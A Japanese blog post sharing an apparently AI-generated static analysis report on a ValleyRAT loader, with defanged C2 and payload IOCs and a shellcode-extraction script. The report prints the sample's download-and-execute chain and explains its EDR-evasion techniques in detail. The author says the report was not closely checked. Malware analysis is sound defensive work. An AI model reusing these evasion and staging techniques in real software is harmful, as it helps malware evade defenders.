2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Ninja AgentくんがMalware解析してくれるってこと

2
Last updated at Posted at 2026-03-16

はじめに

Claude CodeとBinary Ninja MCPでMalware解析を完全に自動化してもらいました。
何も自分自身で指示も出してないのに良いレポート出してもらったので、完全自動記念+レポート共有というところで記載します。

Ninja Agent

内部で利用してるMalware解析Agentくんです。勝手に名付けました。
Binary Ninja MCP経由のClaude Code Maxプラン(エージェントによってOpusだったりsonnetだったり分けてます。)で殴りつけてます。

以降記載する情報は実際のマルウェアサンプルが通信を行う宛先など含まれているため、取り扱いには十分注意してください。

対象

3/12ごろに観測されたValleyRATです。

レポート

以下レポートそのまま貼り付けます。
細かい精査まではしていません。脅威情報として役立てて頂くのもいいし、AI凄いや、AIまだまだだなとなるのもいいと思います。
※あくまで参考程度にどうぞ

レポート(ここをクリックで開く)

マルウェア解析レポート

解析日時: 2026-03-12
解析ツール: Binary Ninja MCP
解析者: AI Agent (Claude Code)


1. 概要

本検体は多段階ローダー/ステージャーであり、UUIDエンコーディングとXOR暗号化で隠蔽されたシェルコードをFiber経由で実行し、C2サーバー 108[.]187[.]4[.]142[:]447/448 にTCP接続する。中国のセキュリティソフト「360安全衛士」を検出した場合は、Alibaba Cloud OSSから追加ペイロードをダウンロードする代替実行パスも持つ。シェルコード内に "codemark" シグネチャが存在し、カスタムC2フレームワークの使用が示唆される。

2. ファイル情報

項目
ファイル名 dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe
ファイル形式 PE (Portable Executable)
アーキテクチャ x86_64 (64-bit)
コンパイラ MinGW-w64 (TDM-GCC)
エントリポイント 0x401500 (_start) / main: 0x408821
パッキング なし(obf:: 名前空間の制御フロー難読化 + XOR文字列暗号化あり)
ビルドバージョン 0.1 (シェルコードコンフィグより)
ビルド日推定 2026-03-08

3. 表層解析

3.1 セクション情報

セクション名 仮想アドレス サイズ 属性
.text 0x401000 437,664 ReadOnly, Code
.data 0x46c000 83,104 ReadWrite
.rdata 0x481000 64,672 ReadOnly
.pdata 0x491000 33,132 ReadOnly
.xdata 0x49a000 38,020 ReadOnly
.bss 0x4a4000 5,888 ReadWrite
.idata 0x4a6000 5,080 ReadWrite
.CRT 0x4a8000 112 ReadWrite
.tls 0x4a9000 104 ReadWrite
.rsrc 0x4aa000 38,697 ReadWrite

セクション名は標準的。RWXセグメントなし。既知パッカーのセクション名なし。

3.2 インポート(注目すべきもの)

動的ロード(API解決)

  • LoadLibraryA / GetProcAddress / GetModuleHandleA / GetModuleHandleW

プロセス/スレッド操作

  • CreateThread / CloseHandle / GetCurrentProcessId / GetCurrentProcess
  • TerminateProcess / SuspendThread / ResumeThread
  • GetThreadContext / SetThreadContext / DuplicateHandle

メモリ操作

  • VirtualQuery / VirtualProtect

同期オブジェクト

  • CreateMutexA / WaitForSingleObject / ReleaseMutex
  • CreateSemaphoreA / ReleaseSemaphore / CreateEventA

Atom操作(文字列隠蔽)

  • AddAtomA / FindAtomA / GetAtomNameA

ウィンドウ操作

  • RegisterClassExA / CreateWindowExA / ShowWindow
  • GetConsoleWindow / GetMessageA / TranslateMessage / DispatchMessageA

その他

  • Sleep / SetUnhandledExceptionFilter / srand / _time64

DLLインポート元: KERNEL32.dll, USER32.dll, msvcrt.dll

注意: ws2_32.dll, wininet.dll, winhttp.dll はインポートされていない(ネットワーク通信はシェルコード内で動的にWs2_32.dllをロードして実行)

3.3 エクスポート

  • _start (0x401500) - CRTエントリポイント
  • main (0x408821) - メイン関数
  • _TLS_Entry_0, _TLS_Entry_1, _TLS_Entry_2 - TLSコールバック(CRT/pthreadインフラ)
  • 多数の obf:: 名前空間のvtable/typeinfo(制御フロー難読化フレームワーク)

3.4 注目すべき文字列

デコイURL(平文、データセクション)

  • hxxps[:]//www[.]baidu[.]com/s?ie=utf-8
  • hxxps[:]//www[.]bing[.]com/search?q=
  • hxxps[:]//cdn[.]soft[.]360[.]cn/static/json/index/index_jisu_1[.]0[.]json
  • hxxp[:]//secure[.]globalsign[.]com/cacert/codesigningrootr45[.]crt0A
  • hxxps[:]//www[.]globalsign[.]com/repository/0
  • hxxp[:]//ocsp[.]digicert[.]com
  • hxxp[:]//www[.]winimage[.]com/zLibDll
  • hxxp[:]//ocsp[.]globalsign[.]com/codesigningrootr450F
  • hxxp[:]//secure[.]globalsign[.]com/cacert/gsgccr45evcodesignca2020[.]crt0

マルウェア固有文字列

  • Hello360 (360セキュリティ製品への参照)
  • _zvhT (隠しウィンドウクラス名)

ビルドパス

  • C:/crossdev/src/mingw-w64-v3-git/mingw-w64-crt/crt/crtexe.c
  • C:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\libgcc

4. APIハッシュ解析

APIハッシュは本体バイナリでは使用されていない。

本体バイナリのAPI解決方式:

  • XOR暗号化文字列 (キー 0x41, 0x2F) → xor_decrypt_string (0x4015c8) で復号 → GetProcAddress で動的解決
  • PEB経由kernel32.dll取得: get_kernel32_base_via_peb (0x402347) — TEB→PEB→Ldr→InMemoryOrderModuleListを走査、_wcsnicmp("kernel32.dll") で文字列比較

シェルコード内ではAPIハッシュ (ROR13+ADD) を使用 してWinsock API等を解決。

5. 暗号・難読化

5.1 検出された暗号アルゴリズム

アルゴリズム 用途 関数アドレス 鍵情報
XOR (キー 0x41) API名・DLL名・URL・パスの暗号化 0x4015c8 (xor_decrypt_string) 1バイト固定: 0x41 ('A')
XOR (キー 0x2F) シェルコード実行関連API名の暗号化 0x4015c8 (xor_decrypt_string) 1バイト固定: 0x2F ('/')
XOR (キー 0xAD) UUIDデコード後シェルコードの復号 0x4022f8 (xor_decrypt_0xAD) 1バイト固定: 0xAD

AES, RC4, RC5, ChaCha20等の高度な暗号アルゴリズムは検出されなかった。

5.2 圧縮アルゴリズム

該当なし。

5.3 文字列難読化

手法 検出箇所 説明
XOR単一バイト暗号化 main, anti360_download_payload スタック上にバイト単位で暗号化文字列を構築、xor_decrypt_stringで復号
文字列反転 string_reverse (0x408732) "Hello360aq" → "qa063olleH" (Atom名として使用)
UUIDエンコーディング main (0x409140) 189個のUUID文字列としてシェルコードを格納、UuidFromStringAでバイナリ復元
Stack String anti360_download_payload, main mov byte命令列でスタック上に1バイトずつ文字列を組み立て
制御フロー難読化 全体 obf:: C++テンプレートベース難読化フレームワーク

5.4 復号済みAPI名・文字列一覧

XOR 0x41 で暗号化されていたもの

復号結果 用途 格納関数
CloseHandle プロセス列挙後のハンドル解放 anti360_download_payload
lstrcmpiA プロセス名比較 anti360_download_payload
CreateToolhelp32Snapshot プロセス列挙 anti360_download_payload
Process32First / Process32Next プロセス列挙 anti360_download_payload
HipsDaemon.exe 360セキュリティプロセス名 anti360_download_payload
LoadLibraryA DLLロード anti360_download_payload
WinExec ペイロード実行 anti360_download_payload
urlmon.dll URLDownloadToFileAの提供元 anti360_download_payload
URLDownloadToFileA ペイロードDL anti360_download_payload
hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/... ペイロードURL anti360_download_payload
C:\Windows\syssteeme.exe ドロップ先パス anti360_download_payload
Sleep 遅延 anti360_download_payload, main
CreateThread スレッド作成 main
ExitWindowsEx 強制シャットダウン hidden_window_message_loop_thread
RegisterApplicationRestart 再起動永続化 main

XOR 0x2F で暗号化されていたもの

復号結果 用途 格納関数
LoadLibraryA DLLロード main
activeds.dll ReallocADsMemの提供元 main
rpcrt4 UuidFromStringAの提供元 main
User32.dll APIロード main
ReallocADsMem メモリ確保(VirtualAlloc代替) main
UuidFromStringA UUID→バイナリ変換 main
VirtualProtect RWX権限付与 main
ConvertThreadToFiber Fiber実行準備 main
CreateFiber Fiber作成 main
SwitchToFiber シェルコード実行 main

6. Windows API挙動解析

6.1 検出されたインジェクションパターン

パターン 手法 関連API 関数アドレス
Fiber経由UUIDシェルコード実行 UUID→バイナリ変換→XOR復号→Fiber実行 ReallocADsMem, UuidFromStringA, VirtualProtect, ConvertThreadToFiber, CreateFiber, SwitchToFiber main (0x408821)
条件付きペイロードDL+実行 プロセス列挙→URLDownloadToFile→WinExec CreateToolhelp32Snapshot, Process32First/Next, URLDownloadToFileA, WinExec anti360_download_payload (0x40161a)

6.2 シェルコード実行チェーン詳細

Fiber経由UUIDシェルコード実行(主要経路):

1. malloc(0xBD0)                        -- 3024バイトのバッファ確保
2. UuidFromStringA ×189回ループ         -- UUID文字列テーブル(0x46C040)→16バイトずつバイナリ変換
3. xor_decrypt_0xAD(buf, 3024)          -- XOR 0xADで全体を復号
4. ReallocADsMem(NULL, 0, size)         -- activeds.dll経由のヒープ割当(VirtualAlloc代替)
5. memcpy_custom(realloc_buf, malloc_buf) -- シェルコードをコピー
6. VirtualProtect(buf, size, PAGE_EXECUTE_READWRITE=0x40) -- RWX化
7. ConvertThreadToFiber(0)              -- 現スレッドをFiberに変換
8. CreateFiber(0, shellcode_buf, 0)     -- シェルコードをエントリとするFiber作成
9. SwitchToFiber(fiber)                 -- シェルコード実行

回避テクニック:

  • ReallocADsMem (activeds.dll) を使用 → EDRのVirtualAllocフック回避
  • UuidFromStringA でデータ変換 → シェルコードパターン検知回避
  • Fiber実行 → CreateThread/CreateRemoteThread のフック回避

6.3 権限昇格・永続化

挙動 API アドレス 詳細
ファイルドロップ URLDownloadToFileA 0x401fc1 C:\Windows\syssteeme.exe へペイロード保存(条件付き)
再起動永続化 RegisterApplicationRestart main内 アプリケーション再起動登録
ミューテックス代替 AddAtomA/FindAtomA main内 "qa063olleH" (Atom名) で多重起動防止
強制シャットダウン ExitWindowsEx 0x40205f WM_QUERYENDSESSION時にEWX_POWEROFF|EWX_FORCE(フォレンジック妨害)

6.4 ペイロード抽出スクリプト

#!/usr/bin/env python3
"""UUID Shellcode Extractor
対象: dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe
UUID Table VA: 0x46C040 (189 pointers), UUID Strings: 0x481000
XOR Key: 0xAD
WARNING: 抽出したシェルコードは実行しないこと。
"""
import struct, sys, uuid

def extract(pe_path, output="shellcode_decrypted.bin"):
    import pefile
    pe = pefile.PE(pe_path)
    ib = pe.OPTIONAL_HEADER.ImageBase

    # Read 189 UUID string pointers from 0x46C040
    raw = pe.get_data(0x46C040 - ib, 189 * 8)
    sc = bytearray()
    for i in range(189):
        ptr = struct.unpack('<Q', raw[i*8:(i+1)*8])[0]
        uuid_str = pe.get_data(ptr - ib, 36).decode('ascii')
        u = uuid.UUID(uuid_str)
        sc.extend(u.bytes_le)

    # XOR 0xAD decrypt (all but last byte)
    for i in range(len(sc) - 1):
        sc[i] ^= 0xAD

    with open(output, 'wb') as f:
        f.write(sc)
    print(f"[+] Extracted: {output} ({len(sc)} bytes)")
    print(f"[*] First 32 bytes: {sc[:32].hex()}")

if __name__ == '__main__':
    extract(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "shellcode_decrypted.bin")

7. Anti-Debug / Evasion

7.1 Anti-Debug手法

カテゴリ 手法 検出API/パターン 関数アドレス
タイミング検出 KUSER_SHARED_DATA直接読み取り 0x7FFE0014/0x7FFE001C直接参照 (GetTickCount代替) 0x40850c (get_tick_via_kuser_shared_data)
タイミング検出 CPU集中型遅延ループ pi^2計算×100,000回×N回 0x40854e (timing_anti_analysis_delay)
コンソール隠蔽 ウィンドウ非表示 GetConsoleWindow + ShowWindow(SW_HIDE) main内 0x40886a

TLSコールバック: _TLS_Entry_0/1/2 はいずれもCRT/pthreadの標準TLS管理コード。Anti-Debug用途ではなかった。

未検出: IsDebuggerPresent, NtQueryInformationProcess, RDTSC命令, PEB!NtGlobalFlag, VM検出文字列, ETW/AMSI回避, ntdll再マッピング, 直接syscall

7.2 EDR/AV回避手法

カテゴリ 手法 検出パターン 関数アドレス
PEB歩行 kernel32.dllベースアドレス取得 GS:[0x30]→TEB→PEB→Ldr→InMemoryOrderModuleList 0x402347
KUSER_SHARED_DATA直接参照 GetTickCount APIフック回避 0x7FFE0014/0x7FFE001C直接読み取り 0x40850c
API名暗号化 IATベース検知回避 XOR 0x41/0x2F + GetProcAddress動的解決 全体
ReallocADsMem使用 VirtualAllocフック回避 activeds.dll経由のメモリ確保 main内
UuidFromStringA使用 シェルコードパターン検知回避 UUID→バイナリ変換 main内
Fiber実行 CreateThread監視回避+スタック偽装 ConvertThreadToFiber→CreateFiber→SwitchToFiber main内
360セキュリティ回避 HipsDaemon.exe検出→代替実行 プロセス列挙+プロセス名比較 0x40161a
Sleep爆弾 サンドボックスタイムアウト誘発 Sleep(65秒), Sleep(5分)無限ループ 0x402106, 0x4087c0
隠しウィンドウ UI隠蔽 RegisterClassExA("_zvhT")+CreateWindowExA 0x4020e3
強制シャットダウン フォレンジック妨害 ExitWindowsEx(EWX_POWEROFF|EWX_FORCE) 0x40205f
デコイURL メモリスキャン偽装 9個の正規URL格納(通信には未使用) main内

8. Config情報

8.1 Config格納方式

本検体のConfigは単一の暗号化ブロブではなく、コード内にXOR暗号化文字列として分散格納されている。

8.2 抽出された値

項目 格納場所 暗号化方式
C2 IPアドレス 108[.]187[.]4[.]142 シェルコード内 (オフセット 0x0A39) XOR 0xAD (UUID+XOR)
C2ポート (Primary) 447 シェルコード内 XOR 0xAD
C2ポート (Secondary) 448 シェルコード内 XOR 0xAD
通信プロトコル Raw TCP (Winsock) シェルコード内 XOR 0xAD
ペイロードURL hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe anti360_download_payload XOR 0x41
ドロップパス C:\Windows\syssteeme.exe anti360_download_payload XOR 0x41
360検出対象プロセス HipsDaemon.exe anti360_download_payload XOR 0x41
ウィンドウクラス名 _zvhT hidden_window_message_loop_thread 平文
Atom文字列 Hello360aq (反転: qa063olleH) main 平文
バージョン 0.1 シェルコードコンフィグ XOR 0xAD
ビルド日推定 2026-03-08 シェルコードコンフィグ XOR 0xAD
デバッグモード (db) 0 (OFF) シェルコードコンフィグ XOR 0xAD
ロック (lk) 1 (ON) シェルコードコンフィグ XOR 0xAD
ステルス (hs) 1 (ON) シェルコードコンフィグ XOR 0xAD
モジュールロード (ld) 0 (OFF) シェルコードコンフィグ XOR 0xAD
ログ (ll) 1 (ON) シェルコードコンフィグ XOR 0xAD
ハートビート (hb) 0 (OFF) シェルコードコンフィグ XOR 0xAD
プロセスインジェクション (pj) 0 (OFF) シェルコードコンフィグ XOR 0xAD
初期Sleep 65,000ms (65秒) hidden_window_message_loop_thread 平文
メインSleepループ 300,000ms (5分) main 平文
タイミング遅延 20秒 main 平文

8.3 デコイURL一覧

以下のURLはメモリ上のデコイとして格納されるのみで、実際の通信には使用されない:

URL (Defang済み) 格納アドレス
hxxps[:]//www[.]baidu[.]com/s?ie=utf-8 0x482dc0
hxxps[:]//www[.]bing[.]com/search?q= 0x482de8
hxxp[:]//secure[.]globalsign[.]com/cacert/codesigningrootr45[.]crt0A 0x482e08
hxxps[:]//www[.]globalsign[.]com/repository/0 0x482e48
hxxps[:]//cdn[.]soft[.]360[.]cn/static/json/index/index_jisu_1[.]0[.]json 0x482e70
hxxp[:]//ocsp[.]digicert[.]com 0x482eae
hxxp[:]//www[.]winimage[.]com/zLibDll 0x482ec8
hxxp[:]//ocsp[.]globalsign[.]com/codesigningrootr450F 0x482ee8
hxxp[:]//secure[.]globalsign[.]com/cacert/gsgccr45evcodesignca2020[.]crt0 0x482f18

9. C2通信プロトコル

9.1 通信概要

項目
プロトコル Raw TCP (Winsock直接通信)
C2アドレス 108[.]187[.]4[.]142
ポート 447 (Primary), 448 (Secondary)
通信暗号化 静的解析の範囲では特定に至らず(シェルコード内で実装される可能性)

9.2 通信フロー

  1. 本体バイナリ: コンソール隠蔽 → 360セキュリティ回避 → タイミング遅延 → UUID Shellcode展開
  2. シェルコード: PEB walk → Ws2_32.dll動的ロード → APIハッシュ(ROR13+ADD)でWinsock関数解決
  3. C2接続: WSAStartupsocket/WSASocketAconnect(108[.]187[.]4[.]142:447) → 次段階ペイロード受信・実行
  4. ポート448: Primary(447)接続失敗時のフォールバック

9.3 条件付きペイロードダウンロード(360セキュリティ検出時)

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
→ Process32First/Next ループでHipsDaemon.exe検索
→ 検出時: LoadLibraryA("urlmon.dll")
→ URLDownloadToFileA("hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe", "C:\Windows\syssteeme.exe")
→ WinExec("C:\Windows\syssteeme.exe")
→ Sleep(20000)

10. コマンド一覧

本体バイナリにコマンドディスパッチャは存在しない。

本検体はローダー/ステージャーであり、コマンド処理機能を持たない。コマンド処理は以下が担当:

  • シェルコードが受信する次段階ペイロード
  • 360セキュリティ検出時にダウンロードされるペイロード (1233.exe)

本体バイナリの機能一覧

機能 関数 説明
コンソール隠蔽 main (0x40886a) ShowWindow(SW_HIDE)
360 AV回避 anti360_download_payload (0x40161a) HipsDaemon.exe検出→ペイロードDL
タイミング遅延 timing_anti_analysis_delay (0x40854e) KUSER_SHARED_DATA + CPU集中型ループ
隠しウィンドウ hidden_window_message_loop_thread (0x4020e3) クラス"_zvhT"、WM_QUERYENDSESSIONハンドラ
Atom多重起動防止 main内 AddAtomA/FindAtomA ("qa063olleH")
UUID Shellcode展開 main (0x4090d1-0x409236) 189 UUID→XOR 0xAD→3024バイト
Fiber実行 main (0x40925e-0x4092a0) ConvertThreadToFiber→CreateFiber→SwitchToFiber
強制シャットダウン wndproc_exitwindows_handler (0x40205f) ExitWindowsEx(EWX_POWEROFF|EWX_FORCE)
Keep-alive infinite_sleep_loop (0x4087c0) 5分間隔Sleep無限ループ

シェルコード分析

オフセット 内容
0x0000 NOP sled + 関数プロローグ
0x0005-0x00A0 PEB walk (GS:[60h]) でDLLベース取得
0x00A0-0x0250 APIハッシュ解決 (ROR13+ADD)
0x0254 "Ws2_32.dll" 文字列(スタック構築)
0x03C4 ソケット通信ルーチン
0x05FE メインC2接続ルーチン
0x091E PE/DLLロードユーティリティ
0x0A19 "codemark" シグネチャ
0x0A39+ C2コンフィグ (IP, Port, フラグ)

11. IOC(侵害指標)

注意: IP、URL、ドメインはすべてDefang済み表記で記載。

ネットワークIOC

種別 値(Defang済み) 備考
C2 IP 108[.]187[.]4[.]142 シェルコード内C2 (Primary/Secondary同一)
C2ポート 447, 448 Raw TCP
ペイロードURL hxxps[:]//kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com/uploads/20260215/1233[.]exe 360セキュリティ検出時のみ
ペイロードホスト kddi12[.]oss-ap-southeast-1[.]aliyuncs[.]com Alibaba Cloud OSS

ホストIOC

種別 備考
ドロップファイル C:\Windows\syssteeme.exe ペイロード保存先
ウィンドウクラス _zvhT 隠しウィンドウ
Atom名 qa063olleH 多重起動防止("Hello360aq"の反転)
プロセス検出対象 HipsDaemon.exe 360セキュリティプロセス

ファイルIOC

種別 備考
ファイル名 dd783032cfab41e20be5cf2a6403e24684de0c179c21d9b60e32bc19d374904d.exe 本検体
ダウンロードファイル 1233.exe ペイロード(未取得)

12. 構造体定義

malware_context (約0x250バイト)

struct malware_context {
    // XOR復号バッファ領域 (0x000-0x0AF)
    char decrypt_buf[11][16];           // API名/DLL名の復号用バッファ
    char hello360_str[16];              // "Hello360aq" (反転用)

    // デコイURL格納領域 (0x0C0-0x14F)
    struct url_string {
        void* data;
        uint64_t size;
    } urls[9];                          // 9個の正規デコイURL

    // スレッド/Fiber管理 (0x150-0x1AF)
    char padding[16];
    uint64_t create_thread_handle;      // Sleepスレッドハンドル
    uint64_t fn_create_thread;          // CreateThread関数ポインタ
    uint64_t fn_sleep;                  // Sleep関数ポインタ
    uint64_t create_fiber_result;       // CreateFiber戻り値
    uint32_t vp_result;                 // VirtualProtect結果
    uint32_t reserved1;
    uint64_t virtual_alloc_buf;         // VirtualAllocバッファ

    // シェルコード管理領域 (0x1B0-0x1BC)
    uint64_t shellcode_buf;             // シェルコードバッファ
    uint32_t shellcode_size;            // サイズ (0xBD0 = 3024)
    uint32_t uuid_count;                // UUID数 (0xBD = 189)

    // API関数ポインタ領域 (0x1C0-0x248)
    uint64_t fn_switch_to_fiber;
    uint64_t fn_create_fiber;
    uint64_t fn_convert_thread;
    uint64_t fn_virtual_protect;
    uint64_t fn_uuid_from_string;
    uint64_t fn_virtual_alloc;
    uint64_t fn_uuid_dll_handle;        // rpcrt4.dll
    uint64_t fn_alloc_dll_handle;       // activeds.dll
    uint64_t fn_load_library_result;
    uint64_t fn_get_proc_address;
    uint64_t kernel32_base;
    // ...
};

13. MITRE ATT&CK マッピング

Tactic Technique ID 備考
実行 Native API T1106 PEB経由kernel32取得、GetProcAddress動的解決
実行 User Execution T1204.002 WinExecによるペイロード実行
防御回避 Process Injection (Fiber) T1055.012 ConvertThreadToFiber→CreateFiber→SwitchToFiber
防御回避 Obfuscated Files or Information T1027 XOR暗号化(0x41/0x2F/0xAD)、UUIDエンコーディング
防御回避 Deobfuscate/Decode T1140 実行時XOR復号、UuidFromStringA変換
防御回避 Hidden Window T1564.003 コンソール非表示、隠しウィンドウ"_zvhT"
防御回避 Time Based Evasion T1497.003 KUSER_SHARED_DATA直接読み取り、Sleep爆弾(65秒/5分)
防御回避 Disable or Modify Tools T1562.001 360セキュリティ(HipsDaemon.exe)検出・回避
防御回避 Dynamic API Resolution T1027.007 XOR+GetProcAddress、APIハッシュ(シェルコード内)
探索 Process Discovery T1057 CreateToolhelp32Snapshot+Process32First/Next
C2 Ingress Tool Transfer T1105 URLDownloadToFileA、シェルコードステージャー
C2 Non-Standard Port T1571 TCP 447/448
影響 System Shutdown/Reboot T1529 ExitWindowsEx(EWX_POWEROFF|EWX_FORCE)
永続化 Execution Guardrails T1480 Atom名による多重起動防止

注意: このレポートは静的解析のみに基づいています。動的解析による検証は含まれていません。シェルコード内の詳細な通信プロトコルや次段階ペイロードの挙動は、動的解析で確認する必要があります。

最後に

どこかで手助けいるかなと思ったのですが、何もせず許可をたまにするくらいで出してきました。1時間くらいです。自分だと数日はかかるものをコマンド1つでやってくれました。
物凄い検体じゃなく、ジュニアレベルの解析でいける検体ならもうNinja Agentくん一人でなんとかなりそう。
AIパワー凄い。これはProじゃないと生き残れない時代が既に到来したというのでしょうか。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?